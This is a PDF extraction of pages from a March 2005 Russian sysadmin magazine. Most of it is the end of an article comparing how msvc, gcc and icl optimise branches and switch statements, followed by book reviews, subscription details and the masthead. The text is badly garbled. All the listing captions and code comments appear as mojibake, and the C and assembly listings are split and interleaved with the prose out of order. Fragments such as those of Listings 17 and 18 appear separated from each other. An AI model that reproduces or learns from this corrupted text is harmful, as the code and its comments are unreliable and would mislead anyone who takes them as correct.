Ëèñòèíã 8. Íåîïòèìèçèðîâàííûé âàðèàíògoto lab_1 ; // ïåðåõîä ê ìåòêå lab_1

// íà áåçóñëîâíûé ïåðåõîä ê ìåòêå lab_2�.lab_1: goto lab_2 ; // ïåðåõîä ê ìåòêå lab_2�.lab_2:Ëèñòèíã 9. Îïòèìèçèðîâàííûé âàðèàíò

goto lab_2 ; // ñðàçó ïåðåõîäèì ê ìåòêå lab_2, // ìèíóÿ lab_1

�.lab_1: goto lab_2 ; // ïåðåõîä ê ìåòêå lab_2�.lab_2:

Ëèñòèíã 10. Íåîïòèìèçèðîâàííûé âàðèàíòwhile(a) // lab_1: if (!a) goto lab_4{

while(b) // lab_2: if (!b) goto lab_3/* ïåðåõîä íà áåçóñëîâíûé ïåðåõîä */

{/* êîä öèêëà */

} // goto lab_2} // lab_3: goto lab_1

// lab_4:

Ëèñòèíã 11. Îïòèìèçèðîâàííûé âàðèàíòwhile(a) // lab_1: if (!a) goto lab_4{

while(b) // lab_2: if (!b) goto lab_1/* îïòèìèçèðîâàíî */

{/* êîä öèêëà */

} // goto lab_2

Ëèñòèíã 12. Íåîïòèìèçèðîâàííûé âàðèàíòjmp lab_1 ; // ïåðåõîä íà óñëîâíûé ïåðåõîä�

lab_1: jnz lab_2Ëèñòèíã 13. Îïòèìèçèðîâàííûé âàðèàíò

jnz lab_2 ; // îïòèìèçèðîâàíî�

lab_1: jnz lab_2

Ëèñòèíã 14. Òðàíñôîðìàöèÿ óñëîâíûõ ïåðåõîäîâ, äî êîòîðûõïðîöåññîð íå ìîæåò «äîòÿíóòüñÿ»jz far_far_away jnz next_lab

���òðàíñôîðìàöèÿ�����> jmp far_far_away next_lab:

Ëèñòèíã 15. Íåîïòèìèçèðîâàííûé âàðèàíòf(int a, int b){

while(a--){

if (a == b) break; // óñëîâíûé ïåðåõîä íà return a;}return a;

}Ëèñòèíã 16. Îïòèìèçèðîâàííûé âàðèàíòf(int a, int b){

while(a--){

if (a == b) return a; //íåïîñðåäñòâåííûé return a;}return a;

}

Ëèñòèíã 17. Íåîïòèìèçèðîâàííûé âàðèàíòif (x) a=a*2; else goto lab_1;// äâîéíîå âåòâëåíèå if � else

} // lab_3: goto lab_1// lab_4:

Page 91: 028 Системный Администратор 03 2005

89№3, март 2005

программирование

Оператор goto не обязательно должен присутствоватьв тексте явно, он вполне может быть частью do/while/break/continue.

Вот, например:

Сокращение количества сравненийПроцессоры семейства x86 (как и многие другие) облада-ют одной очень интересной концепцией, которой нет ни водном языке высокого уровня. Операции вида if (a>b) вы-полняются в два этапа. Сначала из числа a вычитается чис-ло b и состояние вычислительного устройства сохраняетсяв регистре флагов. Различные комбинации флагов соот-

ветствуют различным отношениям чисел и за каждый изних отвечает «свой» условный переход. Например:

На языках высокого уровня все не так, и операцию срав-нения приходится повторять несколько раз подряд, что неспособствует ни компактности, ни производительности. Но,может быть, ситуацию исправит оптимизатор? Рассмотримследующий код:

Дизассемблирование показывает, что компилятору msvcпотребовалось целых два сравнения, а вот icl было доста-точно и одного. Компилятор gcc не заметил подвоха и чес-тно выполнил все три сравнения.

Избавление от ветвленийТеория утверждает, что любой вычислительный алгоритмможно развернуть в линейную конструкцию, заменив всеветвления математическими операциями (как правило, за-путанными и громоздкими). Рассмотрим функцию поискамаксимума среди двух целых чисел: «((a>b)?a:b)», для на-глядности записанную так: «if (a<b) a=b;». Как избавитьсяот ветвления? В этом нам поможет машинная команда SBB,реализующая вычитание с заемом.

Ëèñòèíã 21. Ñðàâíåíèå äâóõ ÷èñåë íà ÿçûêå àññåìáëåðàcmp eax,ebx // ñðàâíèâàåì eax ñ ebx, çàïîìèíàÿ

// ðåçóëüòàò âî ôëàãàõjl lab_1 // ïåðåõîä, åñëè eax < ebxjg lab_2 // ïåðåõîä, åñëè eax > ebx

lab_3: // ðàç ìû çäåñü, eax == ebx

Ëèñòèíã 22. Ñðàâíåíèå äâóõ ÷èñåë íà ÿçûêå âûñîêîãî óðîâíÿif (a < 0x69) printf("b");if (a > 0x69) printf("g");if (a == 0x69) printf("e");

Ëèñòèíã 19. Íåîïòèìèçèðîâàííûé âàðèàíò, 2 âåòâëåíèÿwhile(1){

if (a==0x66) break; // óñëîâíûé ïåðåõîäa=a+rand();

}; // ñêðûòûé áåçóñëîâíûé ïåðåõîä// íà íà÷àëî öèêëà

Ëèñòèíã 20. Îïòèìèçèðîâàííûé âàðèàíò, 1 âåòâëåíèå (âåòâëåíèåïåðåä íà÷àëîì öèêëà íå ñ÷èòàåòñÿ, ò.ê. èñïîëíÿåòñÿ âñåãîëèøü ðàç)if (a!=0x66) // «ñäèðàíèå» îäíîé èòåðàöèè öèêëàdo{

a=a+rand();}while(a!=0x66); // èíâåðòèðóåì ïåðåõîä, òîëüêî îäíî

// âåòâëåíèå

Трансляция короткихусловных переходовОдна из неприятных особенностей процессоров x86 – ог-раниченная «дальнобойность» команд условного перехода.Разработчики микропроцессора в стремлении добиться вы-сокой компактности кода отвели на целевой адрес всегоодин байт, ограничив тем самым длину прыжка интерва-лом в 255 байт. Это так называемый короткий (short) пере-ход, адресуемый относительным знаковым смещением, от-считываемым от начала следующей за инструкцией пере-хода командой (см. рис. 1). Такая схема адресации ограни-чивает длину прыжка «вперед» (т.е. «вниз») всего 128 бай-тами, а «назад» (т.е. «вверх») и того меньше – 127! (Пры-жок вперед короче потому, что ему требуется «пересечь» исаму команду перехода). Этих ограничений лишен ближ-ний (near) безусловный переход, адресуемый двумя байта-ми и действующий в пределах всего сегмента.

Короткие переходы усложняют трансляцию ветвлений –ведь не всякий целевой адрес находится в пределах128 байт! Существует множество путей обойти это ограни-чение. Наиболее популярен следующий прием: если транс-лятор видит, что целевой адрес выходит за пределы дося-гаемости условного перехода, он инвертирует условие сра-батывания и совершает короткий (short) переход на меткуcontinue, а на do_it передает управление ближним (near)

переходом, действующим в пределах одного сегмента (см.рис. 2).

Начиная с Intel 80386 в лексиконе процессора появилисьпятибайтные команды условных переходов, «бьющие» впределах всего четырехгигабайтного адресного простран-ства, однако в силу своей относительно невысокой произ-водительности, они так и остались невостребованными.

Ðèñóíîê 1. Âíóòðåííåå ïðåäñòàâëåíèå êîðîòêîãî (short) ïåðåõîäà

Ðèñóíîê 2. Òðàíñëÿöèÿ êîðîòêèõ ïåðåõîäîâ

b=a+1lab_1: c=a*10Ëèñòèíã 18. Îïòèìèçèðîâàííûé âàðèàíòif (!x) goto lab_1; // îäèíàðíîå âåòâëåíèå

a=a*2;b=a+1;

lab_1: c=a*10;

Page 92: 028 Системный Администратор 03 2005

90

программирование

На Ассемблере это могло бы выглядеть, например, так:

Компилятор msvc поддерживает замену ветвлений ма-тематическими операциями, однако использует несколькодругую технику, отдавая предпочтение инструкции SETcc xxx,устанавливающую xxx в единицу, если условие сс истинно.Как показывает практика, msvc оптимизирует только ветв-ления константного типа, т.е. «if (n > m) a = 66; else a = 99;»еще оптимизируется, а «if (n > m) a = x; else a = y;» уже нет.

Компилятор gcc, использующий инструкцию условногоприсвоения CMOVcc, оптимизирует все конструкции типа min,max, set flags, abs и т. д., что существенно увеличивает про-изводительность, однако требует как минимум Pentium Pro(инструкция SETcc работает и на Intel 80386). За это отве-чают ключи -fif-conversion и -fif-conversion2, которые на плат-форме Intel эквивалентны друг другу. (Вообще говоря, gccподдерживает множество ключей, отвечающих за ликви-дацию ветвлений, однако на платформе Intel они лишенысмысла, поскольку в лексиконе x86-процессоров просто нетсоответствующих команд!).

Компилятор icl – единственный из всех трех, кто не за-меняет ветвления математическими операциями (что в све-те активной агитации за команды SBB/CMOVcc, разверну-той компанией Intel, выглядит довольно странно). Во вся-ком случае компилятор не делает этого явно и в качествекомпенсации предлагает использовать интринсики (от анг-лийского «intrinsic», буквально «внутренний»; нестандарт-ные операторы языка, непосредственно транслирующиесяв машинный код.

За более подробным описанием обращайтесь к руко-

водству на компилятор) и функции мультимедийной биб-лиотеки SIMD. В частности, цикл вида:

может быть переписан так:

Естественно, такой код непереносим и на других ком-пиляторах он работать не будет, поэтому, прежде чем под-саживаться на Intel, следует все взвесить и тщательно об-думать. Тем более что альтернативные мультимедийныебиблиотеки имеются и на других компиляторах.

Оптимизация switchОператор множественного выбора switch очень популяренсреди программистов (особенно разработчиков Windows-приложений). В некоторых (хотя и редких) случаях, опера-торы множественного выбора содержат сотни (а то и тыся-чи) наборов значений, и если решать задачу сравнения «влоб», время выполнения оператора switch окажется слиш-ком большим, что не лучшим образом скажется на общейпроизводительности программы, поэтому пренебрегать егооптимизацией ни в коем случае нельзя.

Балансировка логического дереваЕсли отвлечься от устоявшейся идиомы «оператор switchдает специальный способ выбора одного из многих вари-антов, который заключается в проверке совпадения значе-ния данного выражения с одной из заданных констант в со-ответствующем ветвлении», легко показать, что switch пред-ставляет собой завуалированный оператор поиска соответ-ствующего case-значения.

Последовательный перебор всех вариантов, соответ-ствующий тривиальному линейному поиску – занятие по-рочное и крайне неэффективное. Допустим, наш операторswitch выглядит так:

Ëèñòèíã 23. Ïîèñê ìàêñèìóìà ñðåäè äâóõ öåëûõ ÷èñåëáåç èñïîëüçîâàíèÿ âåòâëåíèéSUB b, a; îòíÿòü îò ñîäåðæèìîãî 'b' çíà÷åíèå 'a', çàïèñàâ ðåçóëüòàò; â 'b', åñëè a > b, òî ïðîöåññîð óñòàíîâèò ôëàã çàåìà; â åäèíèöóSBB c, c; îòíÿòü îò ñîäåðæèìîãî 'c' çíà÷åíèå 'c' ñ ó÷åòîì ôëàãà; çàåìà, çàïèñàâ ðåçóëüòàò îáðàòíî â 'c' ('c' � âðåìåííàÿ; ïåðåìåííàÿ). Åñëè a <= b, òî ôëàã çàåìà ñáðîøåí, è 'c'; áóäåò ðàâíî 0. Åñëè a > b, òî ôëàã çàåìà óñòàíîâëåí è 'c'; áóäåò ðàâíî -1AND c, b; âûïîëíèòü áèòîâóþ îïåðàöèþ (c & b), çàïèñàâ ðåçóëüòàò â 'c'; Åñëè a <= b, òî ôëàã çàåìà ðàâåí íóëþ, 'c' ðàâíî 0,; çíà÷èò, ñ =(c & b) == 0, â ïðîòèâíîì ñëó÷àå: c == b - a;ADD a, c; âûïîëíèòü ñëîæåíèå ñîäåðæèìîãî 'a' ñî çíà÷åíèåì 'c', çàïèñàâ; ðåçóëüòàò â 'a'.; åñëè a <= b, òî c = 0 è a = a; åñëè a > b, òî c = b - a, è a = a + (b-a) == b

Советы! Избегайте использования глобальных и статических пе-

ременных – локальные переменные компилятору намно-го проще оптимизировать.

! Не используйте переменные там, где можно использо-вать константы.

! Везде, где это только возможно, используйте беззнако-вые переменные – они намного легче оптимизируются,особенно в тех случаях, когда компилятор пытается из-бавиться от ветвлений.

! Заменяйте int a; if ((a >= 0) && (a < MAX)) на if ((unsignedint)a < MAX), – последняя конструкция на одно ветвле-ние короче.

! Ветвление с проверкой на нуль оптимизируется намно-го проще, чем на любое другое значение.

! Конструкции типа x = (flag?sin:cos)(y) не избавляют ответвлений, но сокращают объем кодирования.

! Не пренебрегайте оператором goto – зачастую он позво-ляет проектировать более компактный и элегантный код.

Ëèñòèíã 24. Íåîïòèìèçèðîâàííûé âàðèàíò ñ âåòâëåíèÿìèshort a[4], b[4], c[4];for (i=0; i<4; i++)

c[i] = a[i] > b[i] ? a[i] : b[i];

Ëèñòèíã 25. Óñòðàíåíèå âåòâëåíèé ïóòåì èñïîëüçîâàíèÿôóíêöèè select_gt áèáëèîòåêè êëàññîâ Intel SIMDIs16vec4 a, b, c// ôóíêöèÿ âåêòîðíîãî ïîèñêà ìàêñèìóìà áåç âåòâëåíèéc = select_gt(a, b, a, b);

Ëèñòèíã 26. Íåîïòèìèçèðîâàííûé âàðèàíò îïåðàòîðàìíîæåñòâåííîãî âûáîðàswitch (a){ case 98 : /* êîä îáðàáîò÷èêà */ break;

Page 93: 028 Системный Администратор 03 2005

91№3, март 2005

программирование

Тогда соответствующее ему неоптимизированное логи-ческое дерево будет достигать в высоту одиннадцати гнезд(см. рис. 3 слева). Причем на левой ветке корневого гнез-да окажется аж десять других гнезд, а на правой – вообщени одного. Чтобы исправить «перекос», разрежем одну вет-ку на две и прицепим образовавшиеся половинки к новомугнезду, содержащему условие, определяющее, в какой изветок следует искать сравниваемую переменную. Напри-мер, левая ветка может содержать гнезда с четными зна-чениями, а правая – с нечетными. Но это плохой критерий:четных и нечетных значений редко бывает поровну и вновьобразуется перекос. Гораздо надежнее поступить так: бе-рем наименьшее из всех значений и бросаем его в кучу А,затем берем наибольшее из всех значений и бросаем его вкучу B. Так повторяем до тех пор, пока не рассортируемвсе имеющиеся значения (см. рис. 3 справа).

Поскольку, оператор switch требует уникальности каж-дого значения, т. е. каждое число может встречаться лишьоднажды, легко показать, что:! в обеих кучах будет содержаться равное количество чи-

сел (в худшем случае – в одной куче окажется на числобольше);

! все числа кучи A меньше наименьшего из чисел кучи B.Следовательно, достаточно выполнить только одно срав-нение, чтобы определить: в какой из двух куч следуетискать сравниваемое значение.

Высота вновь образованного дерева будет равна1+(N+1)/2, где N – количество гнезд старого дерева. Дей-ствительно, мы же делим ветвь дерева надвое и добавля-ем новое гнездо – отсюда и берется N/2 и +1, а (N+1) необ-ходимо для округления результата деления в большую сто-рону. То есть если высота неоптимизированного дерева до-стигала 100 гнезд, то теперь она уменьшилась до 51. Гово-рите, 51 все равно много? Но кто нам мешает разбить каж-дую из двух ветвей еще на две? Это уменьшит высоту де-рева до 27 гнезд! Аналогично, последующее уплотнениедаст 16 →→→→→ 12 →→→→→ 11 →→→→→ 9 →→→→→ 8… и все! Более плотная упаковкадерева уже невозможна. Но, согласитесь, восемь гнезд –

это не сто! Оптимизированный вариант оператора switch вхудшем случае потребует лишь пяти сравнений, но и этоеще не предел!

Учитывая, что x86 процессоры все три операции срав-нения <, =, > совмещают в одной машинной команде, дво-ичное логическое дерево можно преобразовать в троичное,тогда новых гнезд для его балансировки добавлять не нуж-но. Простейший алгоритм, называемый методом отрезков,работает так: сортируем все числа по возрастанию и делимполучившийся отрезок пополам. Число, находящееся по-середине (в нашем случае это 11), объявляем вершинойдерева, а числа, расположенные слева от него, – его левы-ми ветвями и подветвями (в нашем случае это 0, 3, 4 и 7).Остальные числа (22, 96, 98, 666, 777) идут направо. По-вторяем эту операцию рекурсивно до тех пор, пока длинаподветвей не сократится до единицы. В конечном счете,вырастет следующее дерево :

Очевидно, что это не самое лучшее дерево из всех. Мак-симальное количество сравнений (т.е. количество сравне-ний в худшем случае) сократилось с пяти до четырех, а ко-личество ветвлений возросло вдвое, в результате чего, вре-мя выполнения оператора switch только возросло. К томуже структура построения дерева явно не оптимальна. Гнез-да (a<=3), (a>=7), (a<=96), (a>=666) имеют свободные вет-ви, что увеличивает высоту дерева на единицу. Но, можетбыть, компилятор сумеет это оптимизировать?

Дизассемблирование показывает, что компилятор msvcгенерирует троичное дерево, сбалансированное по улуч-шенному алгоритму отрезков, содержащее всего лишь7 операций сравнения, 9 ветвлений и таблицу переходов на10 элементов (см. «Создание таблицы переходов»). В худ-шем случае выполнение оператора switch требует 3 срав-нений и 3 ветвлений. Троичное дерево, построенное ком-пилятором gcc, сбалансировано по классическому алгорит-му отрезков и состоит из 11 сравнений и 24 ветвлений. Вхудшем случае выполнение оператора switch растягивает-ся на 4 сравнения и 6 ветвлений. Компилятор icl, работаю-щий по принципу простого линейного поиска, строит дво-ичное дерево из 11 сравнений и 11 ветвлений. В худшемслучае все узлы дерева «пережевываются» целиком. Воттак «оптимизация»!

Создание таблицы переходовЕсли значения ветвей выбора представляют собой ариф-метическую прогрессию (см. листинг 27), компилятор мо-жет сформировать таблицу переходов – массив, проиндек-сированный case-значениями и содержащий указатели насоответствующие им case-обработчики. В этом случае

case 4 : /* êîä îáðàáîò÷èêà */ break; case 3 : /* êîä îáðàáîò÷èêà */ break; case 9 : /* êîä îáðàáîò÷èêà */ break; case 22 : /* êîä îáðàáîò÷èêà */ break; case 0 : /* êîä îáðàáîò÷èêà */ break; case 11 : /* êîä îáðàáîò÷èêà */ break; case 666: /* êîä îáðàáîò÷èêà */ break; case 96 : /* êîä îáðàáîò÷èêà */ break; case 777: /* êîä îáðàáîò÷èêà */ break; case 7 : /* êîä îáðàáîò÷èêà */ break;}

Ðèñóíîê 3. Íåñáàëàíñèðîâàííîå (ñëåâà) è ñáàëàíñèðîâàííîå(ñïðàâà) switch/case-äåðåâî

Ðèñóíîê 4. Òðîè÷íîå äåðåâî, ÷àñòè÷íî ñáàëàíñèðîâàííîåìåòîäîì îòðåçêîâ

Page 94: 028 Системный Администратор 03 2005

92

программирование

сколько бы оператор switch ни содержал ветвей – одну илимиллион, – он выполняется за одну итерацию. Красота!

Создавать таблицы переходов умеют все три рассмат-риваемых компилятора, даже если элементы прогрессиинекоторым образом перемешаны:

Если один или несколько элементов прогрессии отсут-ствуют, соответствующие им значения дополняются фик-тивными переходниками к default-обработчику. Таблицапереходов от этого, конечно, «распухает», однако на ско-рости выполнения оператора switch это практически никакне отражается.

Однако при достижении некоторой пороговой величи-ны «разрежения» таблица переходов внезапно трансфор-мируется в двоичное/троичное дерево. Компилятор msvc –

единственный из всех трех, способный комбинировать таб-лицы переходов с логическими деревьями. Разряженныеучастки с далеко отстоящими друг от друга значениямимонтируются в виде дерева, а густо населенные областиупаковываются в таблицы переходов.

Вернемся к листингу 26. Значения 9, 11, 22, 74, 666, 777упорядочиваются в виде дерева, а 0, 3, 4, 7, 9 ложатся втаблицу переходов, благодаря чему достигается предель-но высокая скорость выполнения, далеко опережающая кон-курентов.

Свободная таблица

ЗаключениеСправедливости ради оливковая ветвь пальмы первенствана этот раз не достанется никому. Все три компиляторапоказывают одинаково впечатляющий результат, но про-калываются в мелочах. Позиция icl выглядит достаточносильной, однако на безусловное господство никак не тя-нет. Как минимум ему предстоит научиться выравниватьпереходы, заменять ветвления математическими операци-ями и переваривать оператор switch.

Компилятор gcc, с учетом его бесплатности, по-прежне-му остается наилучшим выбором. Он реализует многиеновомодные способы оптимизации ветвлений (в частности,использует инструкцию CMOVcc), однако по ряду позицийпроигрывает насквозь коммерческому msvc, лишний разподтверждая основной лозунг Microsoft: «Bill always win».При переходе от ветвлений к циклам (а циклы, как извест-но, «съедают» до 90% производительности программы),этот разрыв лишь усиливается. Но о циклах в другой раз.Это слишком объемная, хотя и увлекательная тема. Совре-менные компиляторы не только выбрасывают из цикла всененужное (например, заменяют цикл с предусловием нацикл с постусловием, который на одно ветвление короче),но и трансформируют сам алгоритм, подгоняя порядок об-работки данных под особенности архитектуры конкретногомикропроцессора.

Ëèñòèíã 27. Íåîïòèìèçèðîâàííûé switch, îðãàíèçîâàííûéïî ïðèíöèïó óïîðÿäî÷åííîé àðèôìåòè÷åñêîé ïðîãðåññèèswitch (a){ case 1 : /* êîä îáðàáîò÷èêà */ break; case 2 : /* êîä îáðàáîò÷èêà */ break; case 3 : /* êîä îáðàáîò÷èêà */ break; case 4 : /* êîä îáðàáîò÷èêà */ break; case 5 : /* êîä îáðàáîò÷èêà */ break; case 6 : /* êîä îáðàáîò÷èêà */ break; case 7 : /* êîä îáðàáîò÷èêà */ break; case 8 : /* êîä îáðàáîò÷èêà */ break; case 9 : /* êîä îáðàáîò÷èêà */ break; case 10 : /* êîä îáðàáîò÷èêà */ break; case 11 : /* êîä îáðàáîò÷èêà */ break;}Ëèñòèíã 28. Äèçàññåìáëåðíûé ëèñòèíã îïòèìèçèðîâàííîãîâàðèàíòà îïåðàòîðà switch

cmp eax, 0Bh ; switch 12 cases; ñðàâíèâàåì a ñ 11ja short loc_80483F5 ; default; åñëè a > 11 âûõîäèì èç îïåðàòîðà switch;jmp ds:off_804857C[eax*4] ; switch jump; ïåðåäàåì óïðàâëåíèå ñîîòâåòñòâóþùåìó; case-îáðàáîò÷èêó, òàêèì îáðàçîì, ìû èìååì âñåãî ëèøü; îäíî ñðàâíåíèå è äâà âåòâëåíèÿ

; // òàáëèöà ñìåùåíèé case-îáðàáîò÷èêîâoff_804857C dd offset loc_80483F5 ; DATA XREF: main+11↑↑↑↑↑r

dd offset loc_80483E8 ; jump table for switch statementdd offset loc_80483F9dd offset loc_8048402dd offset loc_804840Bdd offset loc_8048414dd offset loc_804841Ddd offset loc_8048426dd offset loc_804842Fdd offset loc_8048438dd offset loc_8048441dd offset loc_804844F

Ëèñòèíã 29. Íåîïòèìèçèðîâàííûé switch, îðãàíèçîâàííûéïî ïðèíöèïó óïîðÿäî÷åííîé àðèôìåòè÷åñêîé ïðîãðåññèèswitch (a){ case 11 : /* êîä îáðàáîò÷èêà */ break; case 2 : /* êîä îáðàáîò÷èêà */ break; case 13 : /* êîä îáðàáîò÷èêà */ break; case 4 : /* êîä îáðàáîò÷èêà */ break; case 15 : /* êîä îáðàáîò÷èêà */ break; case 6 : /* êîä îáðàáîò÷èêà */ break; case 17 : /* êîä îáðàáîò÷èêà */ break; case 8 : /* êîä îáðàáîò÷èêà */ break; case 19 : /* êîä îáðàáîò÷èêà */ break; case 10 : /* êîä îáðàáîò÷èêà */ break; case 21 : /* êîä îáðàáîò÷èêà */ break;}

Page 95: 028 Системный Администратор 03 2005

93№3, март 2005

книжная полка

ЗапискиисследователякомпьютерныхвирусовКрис КасперскиОчень любопытная книга отизвестного технического пи-сателя. Касперски просто идоступно делится личнымопытом и описывает соб-ственные эксперименты в об-ласти компьютерной вирусо-логии. Книга разделена на 4части. В первой подробно

рассматриваются локальные вирусы, паразитирующие наWinodws/UNIX. Вторая часть полностью посвящена ком-пьютерным червям. Методы борьбы с вирусами описаныв третей части книги. В четвертой части подробно раскры-та тема UNIX vs. NT с точки зрения безопасности. В при-ложении к книге рассмотрены приемы восстановления ОСв «боевых» условиях и приемы борьбы со спамом. Книга,по сути, является некой компиляцией ранее опубликован-ных статей в нашем журнале, что в некоторой степениочень удобно. Отличный выбор для тех, кто хочет погру-зиться с головой в изучение и исследование вирусов. Кни-га рассчитана на достаточно подготовленного читателя,который не боится углубиться в изучение дизассемблер-ных листингов и дебрей ОС.

Издательство «Питер», 2005 г. – 316 стр. ISBN 5-469-00331-0.

Настройка SQLДен ТоуДанное издание является пе-реводом книги «SQL Tuning»издательства O’Reilly, котороедля многих стало синонимомкачества содержания книг.Книга написана одним из са-мых известных и уважаемыхспециалистов в области базданных. Основная тема кни-ги – оптимизация SQL-запро-сов. На страницах издания вынайдете ответы на такие воп-

росы: как увеличить скорость выполнения запросов к базеданных, как наиболее оптимально построить запрос. В книгезаложена фундаментальная информация, которую должнызнать все программисты/разработчики баз данных. Авто-ром используется математический диаграммный метод дляполучения оптимального или близкого к оптимальному пла-на выполнения для SQL-запроса. Большое количество при-меров и заданий (для MS SQL, DB2, Oracle) помогут луч-шим образом усвоить излагаемый материал.

Издательство «Питер», 2004 г. – 333 стр. ISBN 5-94723-959-0 (Ориг ISBN 0596005733).

OpenOffice.orgоткрытый офисдля Linux и WindowsВиктор КостроминЭто первая книга на русскомязыке, посвященная OpenOffice.org – популярному офис-ному пакету, в своем развитиишагающему семимильнымишагами и все больше тесняще-му Microsoft Office. Книга по-служит отличным помощникомдля человека, начинающегоосваивать openoffice.org. Изда-

ние рассчитано на широкий круг читателей – от «новичков»до продвинутых пользователей. Книга построена в виде эк-спресс-курса. Достаточно подробно описана работа с тек-стовым процессором Writer, электронной таблицей Calc, гра-фическим пакетом Draw, системой подготовки презентацийImpress, редактором формул Math. Также рассмотрены об-щие вопросы функционирования пакета. После прочтенияданной книги читатель получит знания, необходимые для ком-фортный работы в OpenOfice.org. Эта книга – незаменимоеприобретение для всех пользователей, желающих присту-пить к использованию OpenOfice.org вместо Microsoft Office.Вместе с книгой в комплекте идет диск с дистрибутивамиOpen Office.org для Windows, Linux и FreeBSD.

Издательство «БХВ-Петербург», 2005 г. – 272 стр. ISBN5-94157-266-2. Издание подготовлено совместно с компа-нией ЛинуксЦентр.

Полное руководствопользователяMandrake LinuxMandrakesoftКнига является переводомофициального руководствапользователя. Если свое зна-комство с Linux вы собираетесьначать с популярного дистри-бутива Mandrake – эта книгадля вас. Новички получат до-статочные сведения для нача-ла работы с Linux в разделе«Введение в Linux». Далее под-

робно описана пошаговая установка системы. Отдельныйраздел в книге посвящен миграции из Winodws/MacOS. Опи-сание и примеры работы с популярными программами, та-кими как Mozilla, OpenOffice.org, XMMS, MPlayer GIMP, по-зволят начинающим быстрее освоиться в новой для себясистеме. Не обойден вниманием вопрос тонкой настройкии восстановления системы. Опытные пользователи найдутдля себя много интересного в разделе «Глубины Linux». Вкачестве приложения к книге идет диск с Mandrake Linux10.1 Linux Center Edition.

Издательство «БХВ-Петербург», 2005 г. – 512 cтр. ISBN5-94157-637-4. Издание подготовлено совместно с компа-нией ЛинуксЦентр. Рубрику ведет

Александр Байрак

Page 96: 028 Системный Администратор 03 2005
Page 97: 028 Системный Администратор 03 2005

95№3, март 2005

подписка на II полугодие 2005

Российская Федерация! Подписной индекс: 81655

Каталог агентства «Роспечать»! Подписной индекс: 87836

Объединенный каталог «Пресса России»Адресный каталог «Подписка за рабочим столом»Адресный каталог «Библиотечный каталог»

! Альтернативные подписные агентства:Агентство «Интер-Почта» (095) 500-00-60, курьерскаядоставка по МосквеАгентство «Вся Пресса» (095) 787-34-47Агентство «Курьер-Прессервис»Агентство «ООО Урал-Пресс» (343) 375-62-74

! Подписка On-linehttp://www.arzy.ruhttp://www.gazety.ruhttp://www.presscafe.ru

СНГВ странах СНГ подписка принимается в почтовых отделе-ниях по национальным каталогам или по списку номенкла-туры АРЗИ:! Азербайджан – по объединенному каталогу российских

изданий через предприятие по распространению печа-ти «Гасид» (370102, г. Баку, ул. Джавадхана, 21)

! Казахстан – по каталогу «Российская Пресса» черезОАО «Казпочта» и ЗАО «Евразия пресс»

! Беларусь – по каталогу изданий стран СНГ через РГО«Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10)

! Узбекистан – по каталогу «Davriy nashrlar» российскиеиздания через агентство по распространению печати«Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик,5/3, офис 33)

! Армения – по списку номенклатуры «АРЗИ» через ГЗАО«Армпечать» (375005, г.Ереван, пл.Сасунци Давида, д.2)и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул.Сарья-на, 22)

! Грузия – по списку номенклатуры «АРЗИ» через АО«Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская, 29)и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахурдия, 42)

! Молдавия – по каталогу через ГП «Пошта Молдавей»(МД-2012, г.Кишинев, бул.Штефан чел Маре, 134)по списку через ГУП «Почта Приднестровья» (МD-3300,г.Тирасполь, ул.Ленина, 17)по прайслисту через ООО Агентство «Editil Periodice»(2012, г.Кишинев, бул. Штефан чел Маре, 134)

! Подписка для Украины:Киевский главпочтампПодписное агентство «KSS»Телефон/факс (044)464-0220

Подписныеиндексы:

81655по каталогуагентства«Роспечать»

87836по каталогуагентства«ПрессаРоссии»

Page 98: 028 Системный Администратор 03 2005

96

СИСТЕМНЫЙ АДМИНИСТРАТОР№3(28), Март, 2005 год

РЕДАКЦИЯИсполнительный директорВладимир ПоложевецОтветственный секретарьНаталья Хвостова[email protected]Технический редакторВладимир ЛукинРедакторыАндрей БешковВалентин СиницынАлексей Барабанов

РЕКЛАМНАЯ СЛУЖБАтел./факс: (095) 928-8253Константин Меделянreс[email protected]

Верстка и оформление[email protected][email protected]Дизайн обложкиНиколай Петрочук

107045, г. Москва,Ананьевский переулок, дом 4/2 стр. 1тел./факс: (095) 928-8253Internet: www.samag.ru

РУКОВОДИТЕЛЬ ПРОЕКТАПетр Положевец

УЧРЕДИТЕЛИВладимир ПоложевецАлександр Михалев

ИЗДАТЕЛЬЗАО «Издательский дом«Учительская газета»

Отпечатано типографиейГП «Московская Типография №13»Тираж 8200 экз.

Журнал зарегистрированв Министерстве РФ по делам печати,телерадиовещания и средств мас-совых коммуникаций (свидетельствоПИ № 77-12542 от 24 апреля 2002г.)

За содержание статьи ответствен-ность несет автор. За содержание рек-ламного обьявления ответственностьнесет рекламодатель. Все права наопубликованные материалы защище-ны. Редакция оставляет за собой пра-во изменять содержание следующихномеров.

ЧИТАЙТЕВ СЛЕДУЮЩЕМНОМЕРЕ:

АвтоматизацияMS Windows, или AutoItкак мечта эникейщикаВзгляд на проблему автоматизации ра-бот в MS Windows со стороны систем-ного администратора, не желающегостановиться MSCE. Основная цель – вмаксимальном сокращении обслужи-вающих операций в среде MS Windows.В этом помогает нам инструментарийAutoIt. С помощью этой программы, ко-торая является оператором-ботом,можно автоматизировать все массо-вые операции в среде MS Windows. Вкачестве большого комплексного при-мера приводится решение задачи авто-матической установки MS Windows XP

Уважаемые читатели!

Началась подписка на II полугодие 2005 года.

Продолжается подписка на журнал на I полугодие 2005 года.

Если вы не успели подписаться на все шесть выпусковпервого полугодия, приобретайте недостающие номера

через интернет-магазины

Доставка почтой в любую точку России.

Apache как прокси-серверРассмотрим достаточно стандартнуюдля небольшой организации связку:UNIX-шлюз для выхода в Интернет,внутренний веб-сервер (Apache), фай-ловый сервер, почта, прокси-сервер...Оказывается, часть звеньев этой це-почки можно объединить друг с дру-гом, сократив тем самым число обслу-живаемых сервисов и даже получитьпри этом кое-какие дополнительныебонусы. В данной статье рассматри-вается процесс настройки Apache дляработы в качестве кэширующего про-кси-сервера, предоставляющего воз-можности динамического сжатия веб-страниц.

